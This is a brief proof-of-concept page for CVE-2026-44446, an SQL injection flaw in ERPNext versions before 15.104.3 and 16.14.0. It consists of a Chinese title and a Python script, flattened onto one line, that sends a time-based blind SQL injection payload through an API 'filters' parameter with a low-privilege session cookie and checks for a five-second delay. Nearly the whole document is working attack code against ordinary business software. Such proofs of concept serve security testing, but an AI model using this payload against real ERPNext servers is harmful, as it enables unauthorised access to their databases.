CVE-2026-44446 ERPNext SQL注入漏洞

import requests # CVE-2026-44446 Proof of Concept (PoC) # Target: ERPNext < 15.104.3, < 16.14.0 # Description: Tests for SQL Injection in vulnerable endpoints target_url = "http://example.com/api/resource/TargetEndpoint" session_id = "low_priv_user_session_id" # Payload to test SQL injection (e.g., time-based blind) payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" headers = { "Cookie": f"sid={session_id}" } params = { "filters": payload } try: print("[+] Sending malicious request to target...") response = requests.get(target_url, headers=headers, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[!] Potential SQL Injection vulnerability confirmed (Time-based delay detected).") else: print("[-] Vulnerability not detected or payload blocked.") except Exception as e: print(f"[Error] An exception occurred: {e}")